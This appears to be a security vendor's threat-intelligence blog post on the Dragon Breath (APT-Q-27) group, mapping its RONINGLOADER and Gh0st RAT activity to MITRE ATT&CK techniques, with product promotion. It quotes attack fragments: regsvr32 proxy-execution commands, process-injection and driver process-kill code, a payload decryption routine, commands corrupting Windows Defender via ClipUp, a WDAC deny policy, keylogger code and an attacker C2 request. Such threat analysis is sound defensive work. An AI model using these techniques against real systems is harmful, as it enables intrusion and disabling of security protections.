Dragon Breath (APT-Q-27): RONINGLOADER and Gh0st RAT Explained

Umut Bayram | 11 MIN READ

| August 12, 2026

Key Takeaways

Dragon Breath, also known as APT-Q-27 and Golden Eye Dog, has targeted Chinese-speaking Asia-Pacific users since 2020.
Trojanized installers for Telegram, Chrome, and Teams deliver loaders through double-clean-app DLL side-loading chains.
The RONINGLOADER chain deploys a modified Gh0st RAT that communicates with C2 servers over WebSocket.
A 2026 intrusion at a certificate provider yielded certificate material used to sign Dragon Breath malware.
The Picus Platform lets teams simulate Dragon Breath threats to validate security control effectiveness.

Dragon Breath, also known as APT-Q-27and Golden Eye Dog, is a Chinese cybercrime APT first observed in 2020, targeting Chinese-speaking users and organizations across the Asia-Pacific region, including China, Hong Kong, Taiwan, Singapore, Japan, and the Philippines, with a focus on online gambling and financial services.

Dragon Breath stands out for layered execution and defense evasion, combining trojanized installers with double-clean-app DLL side-loading, signed kernel drivers, Protected Process Light abuse, thread-pool process injection, and malicious code-signing. Its recent RONINGLOADER chain also deploys a modified Gh0st RAT over WebSocket-based C2 while actively disabling Windows Defender and regional endpoint security tools.

In this blog, we will cover Dragon Breath’s major activities and TTPs and show how Picus helps you validate your security controls against this threat.

Simulate APT Attacks with 14-Day Free Trial of Picus Platform

What Are the Major Activities of the Dragon Breath?

2020 - Dragon Breath was first documented using watering-hole sites to distribute trojanized Telegram installers.

May 2022 - Dragon Breath continued abusing fake Telegram installers to deploy additional malware, including Gh0st RAT.

May 2023 - Dragon Breath used double-clean-app DLL side-loading against gambling-focused users across multiple Asian countries.

November 2025 - Dragon Breath deployed RONINGLOADER through trojanized Chrome and Teams installers to deliver modified Gh0st RAT.

April 2026 - Dragon Breath compromised DigiCert support workstations and abused DigiCert access to obtain code-signing certificates and sign malware.

Which MITRE ATT&CK Techniques Are Used by Dragon Breath?

Tactic: Execution

T1218.010 System Binary Proxy Execution: Regsvr32

Dragon Breath used regsvr32.exe to execute the goldendays.dll loader from C:\ProgramData\Roning. The command was configured as the executable path of the MicrosoftSoftware2ShadowCop4yProvider service, allowing the DLL registration entry point to start the next loader stage [1].

regsvr32.exe /S "C:\ProgramData\Roning\goldendays.dll"

# /S suppresses registration dialogs while the DLL registration entry point executes.

An earlier implementation renamed regsvr32.exe to appR.exe and renamed scrobj.dll to appR.dll. The desktop shortcut invoked the renamed binary with appR.dat, causing the script execution engine to process embedded JScript that installed the sideloading components [2].

appR.exe /s /n /u /i:appR.dat appR.dll

# appR.exe is the renamed regsvr32 binary.

# /i:appR.dat supplies the scriptlet data consumed through the renamed scrobj.dll component.

Tactic: Persistence

T1136.001 Create Account: Local Account

Dragon Breath's 2026 persistence plugin created a local backdoor account using a username and password hardcoded in the payload. It added the account to the local administrator group, giving the account administrative privileges.

The plugin also modified HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon to enable automatic logon and suppress credential prompts for the backdoor account. This allowed the newly created account to support persistent remote access after system restarts.

T1543.003 Create or Modify System Process: Windows Service

Dragon Breath created the MicrosoftSoftware2ShadowCop4yProvider service to execute regsvr32.exe against the goldendays.dll loader. The service provided a reusable execution point for restoring the loader chain.

Dragon Breath paired the service with a randomly named batch script in C:\Windows. The script continuously checked whether the trusted process used for injection remained active and restarted MicrosoftSoftware2ShadowCop4yProvider if that process disappeared [1].

# Restart the malicious service when the watched process is no longer present.

sc start "MicrosoftSoftware2ShadowCop4yProvider"

# Delay the next process check by ten seconds.

t^i^m^e^o^u^t /t 10

# Return to the monitoring loop.

g^o^t^o mgNrNEUAYD

Dragon Breath also created short-lived services such as xererre1 and ollama to load its signed kernel driver. These services were started before driver-assisted process termination.

Tactic: Stealth

T1055 Process Injection

Dragon Breath injected trustinstaller.bin, a loader payload, into TrustedInstaller.exe or elevation_service.exe. It allocated executable memory with VirtualAllocEx, copied the loader with WriteProcessMemory, and started it inside the target using CreateRemoteThread [1].

lp_addr = VirtualAllocEx(

h_process,

0i64,

v24,

0x1000u,

0x40u

); // Allocate executable memory inside the selected trusted process.

WriteProcessMemory(

h_process1,

lp_addr,

buffer,

(unsigned int)v29,

(SIZE_T *)PID

); // Copy the loader payload into the remote allocation.

CreateRemoteThread(

h_process1,

0i64,

lp_addr,

0i64,

0i64

); // Execute the copied payload inside the remote process.

Another loader stage injected Enpug.bin, the final-stage loader, into processes such as taskhostw.exe, ctfmon.exe, RuntimeBroker.exe, sihost.exe, or SecurityHealthSystray.exe. It used NtCreateSection and NtMapViewOfSection to share the payload with the remote process before starting a remote thread.

Dragon Breath also used Windows thread-pool objects for more specialized injection. One path created a remote thread-pool wait callback, associated it with an event through ZwAssociateWaitCompletionPacket, then triggered the callback with SetEvent [1].

ThreadpoolWait =

CreateThreadpoolWait((PTP_WAIT_CALLBACK)pv, pv, 0i64);

// Prepare thread-pool wait metadata containing the callback.

ZwAssociateWaitCompletionPacket_api(

*((_QWORD *)ThreadpoolWait + 46),

v14,

EventW,

v36,

v35,

0i64,

);

// Associate the event with the thread-pool callback state.

return SetEvent(EventW);

// Signal the event so the target process executes the injected callback.

A separate thread-pool implementation used CreateThreadpoolIO and a file-write completion trigger. Dragon Breath mapped shellcode into vssvc.exe, constructed thread-pool I/O state around a temporary file, and issued WriteFile so the completion mechanism transferred execution to the injected code.

T1553.002 Subvert Trust Controls: Code Signing

Dragon Breath regularly signed its loader components with code-signing certificates so Windows trust mechanisms were less likely to block their execution. Dozens of distinct certificates were associated with these signed loaders, and the group continued this practice through 2026.

During a 2026 intrusion into a certificate provider, Dragon Breath obtained initialization codes associated with customer certificate orders. The actors subsequently used affected certificate material to sign their own malware, directly supporting their established signed-loader execution model [3].

Dragon Breath also deployed ollama.sys, a validly signed kernel driver, during its security-tool termination chain. The signed driver exposed IOCTL 0x222000, accepted a PID, opened the process with ZwOpenProcess, and terminated it with ZwTerminateProcess [1].

v2 = ZwOpenProcess(

&ProcessHandle,

0x100001u,

&ObjectAttributes,

&ClientId

); // Open the process identified by the PID supplied through the driver request.

v2 = ZwTerminateProcess(ProcessHandle, 0);

// Terminate the selected process from kernel mode.

T1574.001 Hijack Execution Flow: DLL

Dragon Breath's 2026 loader (Golden Gh0st loader) downloaded a legitimate executable together with crashreport.dll, a malicious side-loading DLL, and updat.log, an encrypted payload container. The legitimate executable loaded crashreport.dll, which decrypted updat.log and transferred execution to the decrypted RAT payload in memory.

The loader's decryption routine remained nearly unchanged from earlier versions. Each encrypted byte was incremented by 0x77, XORed with 0x62, and masked to one byte before the resulting payload was executed [3].

CIPHER_ADD = 0x77

CIPHER_XOR = 0x62

return bytes(

((b + CIPHER_ADD) ^ CIPHER_XOR) & 0xFF

for b in data

)

# Add the fixed byte value, XOR it with the fixed key, and retain the low byte.

An earlier Dragon Breath chain added another legitimate application before the normal side-loading sequence. A clean Application.exe automatically executed a second clean program renamed XLGameUpdate.exe, which then loaded the attacker-controlled BASICNETUTILS.dll dependency. The malicious BASICNETUTILS.dll loader read templateX.txt, decrypted its embedded loader shellcode, and executed the final payload.

Tactic: Defense Impairment

T1685 Disable or Modify Tools

Dragon Breath abused Protected Process Light handling to corrupt the MsMpEng.exe security-engine executable. It created C:\ProgramData\roming as a directory link to the active platform directory and invoked ClipUp.exe with the -ppl parameter against the linked executable [1].

cmd.exe /c mklink /D "C:\ProgramData\roming" "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25050.5-0"

# Create a directory link that redirects the attacker-controlled path to the active security-engine directory.

C:\Windows\System32\ClipUp.exe -ppl C:\ProgramData\roming\MsMpEng.exe

# Target the protected security-engine executable through the linked path and corrupt its on-disk contents.

Dragon Breath also terminated security processes through the signed ollama.sys kernel driver. The malware resolved target PIDs, loaded the driver through temporary services, submitted the PID through IOCTL 0x222000, and removed the service after sending the termination request.

The group implemented redundant process-killing paths. Shellcode injected into vssvc.exe targeted processes including 360Safe.exe, 360Tray.exe, and ZhuDongFangYu.exe, while additional code injected into svchost.exe repeatedly targeted HipsMain.exe, HipsDaemon.exe, HipsTray.exe, and MsMpEng.exe.

Finally, Dragon Breath installed an unsigned WDAC policy under C:\Windows\System32\CodeIntegrity\CiPolicies\Active. The policy operated as a deny list, blocking specific security executables such as 360rp.exe, 360sd.exe, and ARPProte.exe, while also denying executables matching a targeted signer certificate [1].

<Rule>

<Option>Enabled:Unsigned System Integrity Policy</Option>

</Rule>

<Deny

ID="ID_DENY_A_019A298478CE7DBA9913BFC227DACD14"

FileName="360rp.exe"

InternalName="360rp.exe"

<Deny

ID="ID_DENY_A_019A298478CE763C85C9F42EC8669750"

FileName="360sd.exe"

InternalName="360sd.exe"

The Enabled System Integrity Policy option permitted the policy to load without a valid policy signature, while the deny rules prevented selected security components from executing.

Tactic: Credential Access

T1555.003 Credentials from Password Stores: Credentials from Web Browsers

Dragon Breath's 2026 RAT (Golden Gh0st RAT) contained dedicated command handlers for browser credential collection. Handler 0x0c9d terminated chrome.exe before reading the browser's Login Data profile, while 0x0c9e terminated firefox.exe before accessing its profile data.

Additional handlers targeted regionally popular browsers. 0x0c9f read the profile associated with 360se.exe, 0x0ca0 targeted 360chrome.exe, and 0x0ca2 accessed the default profile used by QQBrowser.exe after terminating the corresponding process.

Dragon Breath also implemented a multi-application credential sweep through command 0x0ca1. The handler searched eight profile locations for artifacts including avBackup.dat, FormData3.dat, historyUrl3.db, and history3.db, extending credential and session-data theft beyond the major browser profiles.

Tactic: Collection

T1056.001 Input Capture: Keylogging

A RAT implemented by the group initialized a DirectInput8 keyboard device, acquired it, and repeatedly retrieved buffered input events. The implant requested up to 60 keyboard events per poll before converting scan-code data through its internal character mapping logic [1].

g_dwBufferElements = 60;

// Request up to 60 buffered keyboard events during this polling cycle.

(*pKeyboardDevice_1)->GetDeviceData(

self: pKeyboardDevice_1,

cbObjectData: 0x18,

rgdod: &g_keyboardEventBuffer,

pdwInOut: &g_dwBufferElements,

dwFlags: 0

);

// Retrieve queued keyboard events from the acquired DirectInput8 device.

The same implementation correlated keystrokes with foreground-window titles and timestamps. Captured keyboard content was tagged with [内容:], active-window titles with [标题:], and timestamps with [时间:] before being written to microsoft.dotnet.common.log.

The logger automatically deleted microsoft.dotnet.common.log after the file exceeded 0x3200000 bytes, or approximately 50 MB. This bounded local accumulation while the implant continued collecting keyboard, clipboard, and active-window data.

Tactic: Command and Control

T1071.001 Application Layer Protocol: Web Protocols

Golden Gh0st RAT communicated with C2 servers over WebSocket rather than the raw TCP scheme used by an earlier implementation. The implant initiated a standard HTTP WebSocket upgrade and commonly used low-numbered ports such as 5188 and 5198 [3].

GET / HTTP/1.1

Connection: Upgrade

Sec-WebSocket-Key: fKEGIEU0ZPbDqDVGfERJMJeKB

Sec-WebSocket-Version: 13

Upgrade: websocket

Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits

Host: uu.goldeyeuu.io:5188

After the WebSocket upgrade, Dragon Breath used its own 12-byte message header. total_length stored the complete message size, orig_size recorded the uncompressed plaintext size, and session_id identified the command or session. The remaining bytes carried encrypted and compressed payload data [3].

struct C2Frame {

uint32_t total_length; // Total number of bytes in the message.

uint32_t orig_size; // Uncompressed plaintext size; zero marks heartbeat frames.

uint32_t session_id; // Command or session identifier.

uint8_t payload[]; // Encrypted and compressed C2 data follows the header.

};

Dragon Breath reused the 12-byte header for heartbeat frames by setting orig_size to zero and omitting the payload. Client and server exchanged these frames regularly to keep the WebSocket session active.

How Picus Simulates Dragon Breath Attacks?

We strongly suggest simulating Dragon Breath Attacks to test the effectiveness of your security controls against real-life cyber attacks using the Picus Platform. You can also test your defenses against hundreds of other threat groups within minutes with a 14-day free trial of the Picus Platform.

Picus Threat Library includes the following threats for Dragon Breath:

Threat ID	Threat Name	Attack Module
76671	Dragon Breath Loader Email Threat	E-mail Infiltration
54799	Dragon Breath Loader Download Threat	Network Infiltration
41812	Dragon Breath Malware Dropper Email Threat	E-mail Infiltration
40959	Dragon Breath Malware Dropper Download Threat	Network Infiltration
41250	RONINGLOADER Rootkit Email Threat	E-mail Infiltration
23834	RONINGLOADER Loader Download Threat	Network Infiltration
65500	RONINGLOADER Loader Email Threat	E-mail Infiltration
85748	RONINGLOADER Rootkit Download Threat	Network Infiltration
50578	RONINGLOADER Malware Dropper Download Threat	Network Infiltration
83685	RONINGLOADER Malware Dropper Email Threat	E-mail Infiltration

Start simulating emerging threats today and get actionable mitigation insights with a 14-day free trial of the Picus Platform.

What Are the Aliases of the Dragon Breath Group?

Dragon Breath is also known as: APT-Q-27, Golden Eye Dog.

References

[1] J. Y. Chan and S. Bitam, “RONINGLOADER: DragonBreath’s New Path to PPL Abuse.” Accessed: Aug. 08, 2026. [Online]. Available: https://www.elastic.co/security-labs/roningloader

[2] G. Szappanos, “A doubled ‘Dragon Breath’ adds new air to DLL sideloading attacks,” Sophos. Accessed: Aug. 08, 2026. [Online]. Available: https://www.sophos.com/blog/doubled-dll-sideloading-dragon-breath

[3] A. Walton, “Introducing CylindricalCanine: The GoldenEyeDog subgroup responsible for the April DigiCert incident,” Expel. Accessed: Aug. 08, 2026. [Online]. Available: https://expel.com/blog/introducing-cylindricalcanine/

Dragon Breath is a Chinese cybercrime APT first observed in 2020 that targets Chinese-speaking users and organizations across the Asia-Pacific region, with a focus on online gambling and financial services. The group is known for layered execution and defense evasion, combining trojanized installers, DLL side-loading, signed kernel drivers, process injection, and malicious code-signing to deploy a modified Gh0st RAT.

Dragon Breath is also tracked as APT-Q-27 and Golden Eye Dog.

Dragon Breath targets Chinese-speaking users and organizations across the Asia-Pacific region, including China, Hong Kong, Taiwan, Singapore, Japan, and the Philippines. Online gambling and financial services are the primary focus, and campaigns have used gambling-themed lures alongside trojanized installers for widely used applications such as Telegram, Chrome, and Teams.

In April 2026, Dragon Breath compromised DigiCert support workstations and abused that access to obtain code-signing certificates. During the intrusion, the actors acquired initialization codes tied to customer certificate orders and then used affected certificate material to sign their own malware, directly supporting the group's established signed-loader execution model.

RONINGLOADER is a loader chain Dragon Breath deployed in November 2025 through trojanized Chrome and Teams installers. The chain delivers a modified Gh0st RAT that communicates over WebSocket-based command and control, while actively disabling Windows Defender and regional endpoint security products through Protected Process Light abuse, a signed kernel driver, and an unsigned WDAC policy.

Infection begins with trojanized installers for popular applications, distributed through watering-hole sites and fake download pages. Early campaigns abused fake Telegram installers, while later activity used trojanized Chrome and Teams installers. Once executed, the installer drops loader components that use renamed system binaries such as regsvr32.exe and DLL side-loading to launch the next stage.

Simulating Dragon Breath attacks with the Picus Platform shows whether existing security controls detect and block the group's real-world techniques. The Picus Threat Library includes ten Dragon Breath and RONINGLOADER threats spanning E-mail Infiltration and Network Infiltration modules, and a 14-day free trial covers hundreds of additional threat groups with actionable mitigation insights.

Dragon Breath (APT-Q-27): RONINGLOADER and Gh0st RAT Explained

Key Takeaways

What Are the Major Activities of the Dragon Breath?